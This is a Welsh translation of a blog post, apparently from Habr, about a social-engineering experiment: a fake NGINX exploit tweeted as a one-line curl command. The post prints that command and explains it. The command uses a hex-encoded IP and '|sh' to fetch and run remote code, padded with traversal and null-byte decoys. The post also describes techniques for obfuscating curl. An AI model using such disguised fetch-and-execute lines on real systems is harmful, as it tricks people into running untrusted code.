Llwyddiant arbrawf cymdeithasol gyda chamfanteisio ffug ar gyfer nginx

Nodyn. traws.: Awdur nodyn gwreiddiol, a gyhoeddwyd ar 1 Mehefin, penderfynodd gynnal arbrawf ymhlith y rhai sydd â diddordeb mewn diogelwch gwybodaeth. I wneud hyn, paratôdd gamfanteisio ffug ar gyfer bregusrwydd nas datgelwyd yn y gweinydd gwe a'i bostio ar ei Twitter. Ni ddaeth ei ragdybiaethau - i gael eu hamlygu ar unwaith gan arbenigwyr a fyddai'n gweld y twyll amlwg yn y cod - nid yn unig yn wir ... Roeddent yn rhagori ar yr holl ddisgwyliadau, ac i'r cyfeiriad arall: derbyniodd y trydariad gefnogaeth enfawr gan nifer o bobl na wnaethant gwirio ei gynnwys.

Llwyddiant arbrawf cymdeithasol gyda chamfanteisio ffug ar gyfer nginx

TL; DR: Peidiwch â defnyddio piblinellau ffeiliau yn sh neu bash o dan unrhyw amgylchiadau. Mae hon yn ffordd wych o golli rheolaeth ar eich cyfrifiadur.

Rwyf am rannu stori fer gyda chi am ecsbloetio comig PoC a grëwyd ar Fai 31ain. Ymddangosodd yn brydlon mewn atebiad i newyddion o Alisa Esage Shevchenko, aelod Menter Dim Diwrnod (ZDI), y bydd gwybodaeth am fregusrwydd yn NGINX sy'n arwain at RCE (gweithredu cod o bell) yn cael ei datgelu cyn bo hir. Gan fod NGINX yn pweru llawer o wefannau, mae'n rhaid bod y newyddion wedi bod yn ffrwydrol. Ond oherwydd oedi yn y broses “datgelu cyfrifol”, nid oedd manylion yr hyn a ddigwyddodd yn hysbys - mae hon yn weithdrefn ZDI safonol.

Llwyddiant arbrawf cymdeithasol gyda chamfanteisio ffug ar gyfer nginx
Trydar am ddatgeliad bregusrwydd yn NGINX

Ar ôl gorffen gweithio ar dechneg obfuscation newydd mewn curl, dyfynnais y trydariad gwreiddiol a “gollwng PoC gweithredol” yn cynnwys un llinell o god sydd i fod yn manteisio ar y bregusrwydd a ddarganfuwyd. Wrth gwrs, nonsens llwyr oedd hyn. Cymerais y byddwn i'n cael fy datguddio ar unwaith, ac y byddwn ar y gorau yn cael cwpl o ail-drydariadau (o wel).

Llwyddiant arbrawf cymdeithasol gyda chamfanteisio ffug ar gyfer nginx
Trydar gyda chamfanteisio ffug

Fodd bynnag, ni allwn ddychmygu beth ddigwyddodd nesaf. Neidiodd poblogrwydd fy nhrydariad. Yn syndod, ar hyn o bryd (15:00 amser Moscow Mehefin 1) ychydig o bobl sydd wedi sylweddoli bod hwn yn ffug. Mae llawer o bobl yn ei ail-drydar heb ei wirio o gwbl (heb sôn am edmygu'r graffeg ASCII hyfryd y mae'n ei allbynnu).

Llwyddiant arbrawf cymdeithasol gyda chamfanteisio ffug ar gyfer nginx
Edrychwch pa mor brydferth ydyw!

Er bod yr holl ddolenni a lliwiau hyn yn wych, mae'n amlwg bod yn rhaid i bobl redeg cod ar eu peiriant i'w gweld. Yn ffodus, mae porwyr yn gweithio yr un ffordd, ac ar y cyd â'r ffaith nad oeddwn wir eisiau mynd i drafferthion cyfreithiol, roedd y cod a gladdwyd yn fy ngwefan yn gwneud galwadau adleisio heb geisio gosod na gweithredu unrhyw god ychwanegol.

Gwyriad bach: rhwydspwci, dnz, fi a'r bois eraill o'r tîm Thugcrowd Rydyn ni wedi bod yn chwarae gyda gwahanol ffyrdd o guddio gorchmynion cyrl ers tro oherwydd mae'n cŵl ... ac rydyn ni'n geeks. darganfu netspooky a dnz sawl dull newydd a oedd yn ymddangos yn hynod addawol i mi. Ymunais yn yr hwyl a cheisio ychwanegu trosiadau degol IP i'r bag o driciau. Mae'n ymddangos y gellir trosi IP hefyd i fformat hecsadegol. Ar ben hynny, mae cyrlio a'r mwyafrif o offer NIX eraill yn hapus yn bwyta IPs hecsadegol! Felly dim ond mater ydoedd o greu llinell orchymyn argyhoeddiadol a diogel. Yn y pen draw, penderfynais ar yr un hwn:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Mae peirianneg gymdeithasol-electronig (SEE) yn fwy na gwe-rwydo yn unig

Roedd diogelwch a chynefindra yn rhan fawr o'r arbrawf hwn. Rwy'n meddwl mai nhw a arweiniodd at ei lwyddiant. Roedd y llinell orchymyn yn awgrymu diogelwch yn glir trwy gyfeirio at "127.0.0.1" (y localhost adnabyddus). Ystyrir bod Localhost yn ddiogel ac nid yw'r data arno byth yn gadael eich cyfrifiadur.

Cynefindra oedd ail gydran SEE allweddol yr arbrawf. Gan fod y gynulleidfa darged yn bennaf yn cynnwys pobl a oedd yn gyfarwydd â hanfodion diogelwch cyfrifiadurol, roedd yn bwysig creu cod fel bod rhannau ohono'n ymddangos yn gyfarwydd ac yn gyfarwydd (ac felly'n ddiogel). Mae benthyca elfennau o hen gysyniadau ecsbloetio a’u cyfuno mewn ffordd anarferol wedi bod yn llwyddiannus iawn.

Isod mae dadansoddiad manwl o'r un leinin. Mae popeth ar y rhestr hon yn gwisgo natur gosmetig, ac yn ymarferol nid oes angen dim ar gyfer ei weithrediad gwirioneddol.

Pa gydrannau sydd eu hangen mewn gwirionedd? hwn -gsS, -O 0x0238f06a, |sh a'r gweinydd gwe ei hun. Nid oedd y gweinydd gwe yn cynnwys unrhyw gyfarwyddiadau maleisus, ond yn syml roedd yn gwasanaethu graffeg ASCII gan ddefnyddio gorchmynion echo yn yr ysgrythyr a gynhwysir yn index.html. Pan ddaeth y defnyddiwr i linell gyda |sh yn y canol, index.html llwytho a gweithredu. Yn ffodus, nid oedd gan geidwaid y gweinydd gwe unrhyw fwriadau gwael.

  • ../../../%00 — yn cynrychioli mynd y tu hwnt i'r cyfeiriadur;
  • ngx_stream_module.so — llwybr i fodiwl NGINX ar hap;
  • /bin/sh%00<'protocol:TCP' - rydym i fod yn lansio /bin/sh ar y peiriant targed ac ailgyfeirio'r allbwn i'r sianel TCP;
  • -O 0x0238f06a#PLToffset - cynhwysyn cyfrinachol, wedi'i ategu #PLToffset, i edrych fel gwrthbwyso cof a gynhwysir rywsut yn y PLT;
  • |sh; - darn pwysig arall. Roedd angen i ni ailgyfeirio'r allbwn i sh/bash er mwyn gweithredu'r cod sy'n dod o'r gweinydd gwe ymosodol sydd wedi'i leoli yn 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost — dymi yn yr hwn y cyfeiria netcat /dev/tcp/localhostfel bod popeth yn edrych yn ddiogel eto. Mewn gwirionedd, nid yw'n gwneud dim ac mae wedi'i gynnwys yn y llinell ar gyfer harddwch.

Mae hyn yn cloi dadgodio’r sgript un llinell a’r drafodaeth ar agweddau ar “beirianneg gymdeithasol-electronig” (gwe-rwydo cywrain).

Ffurfweddu Gweinydd Gwe a Gwrthfesurau

Gan fod mwyafrif helaeth fy nhanysgrifwyr yn infosec / hacwyr, penderfynais wneud y gweinydd gwe ychydig yn fwy ymwrthol i fynegiadau o “ddiddordeb” ar eu rhan, dim ond fel y byddai gan y bechgyn rywbeth i'w wneud (a byddai'n hwyl i sefydlu). Dydw i ddim yn mynd i restru'r holl beryglon yma gan fod yr arbrawf yn dal i fynd rhagddo, ond dyma ychydig o bethau y mae'r gweinydd yn eu gwneud:

  • Yn mynd ati i fonitro ymdrechion dosbarthu ar rwydweithiau cymdeithasol penodol ac yn disodli mân-luniau rhagolwg amrywiol i annog y defnyddiwr i glicio ar y ddolen.
  • Yn ailgyfeirio Chrome/Mozilla/Safari/etc i fideo hyrwyddo Thugcrowd yn lle dangos y sgript cregyn.
  • Gwylio am arwyddion AMLWG o ymwthiad / hacio amlwg, ac yna'n dechrau ailgyfeirio ceisiadau i weinyddion NSA (ha!).
  • Yn gosod Trojan, yn ogystal â rootkit BIOS, ar bob cyfrifiadur y mae ei ddefnyddwyr yn ymweld â'r gwesteiwr o borwr rheolaidd (dim ond twyllo!).

Llwyddiant arbrawf cymdeithasol gyda chamfanteisio ffug ar gyfer nginx
Rhan fach o animers

Yn yr achos hwn, fy unig nod oedd meistroli rhai o nodweddion Apache - yn arbennig, y rheolau cŵl ar gyfer ailgyfeirio ceisiadau - a meddyliais: pam lai?

Ecsbloetio NGINX (Go iawn!)

Tanysgrifiwch i @alisaesage ar Twitter a dilynwch waith gwych ZDI wrth fynd i'r afael â gwendidau gwirioneddol a manteisio ar gyfleoedd yn NGINX. Mae eu gwaith bob amser wedi fy swyno ac rwy'n ddiolchgar i Alice am ei hamynedd gyda'r holl grybwylliadau a hysbysiadau a achoswyd gan fy nhrydariad gwirion. Yn ffodus, gwnaeth rywfaint o les hefyd: helpodd i godi ymwybyddiaeth o wendidau NGINX, yn ogystal â phroblemau a achosir gan gam-drin cyrl.

Ffynhonnell: hab.com

Ychwanegu sylw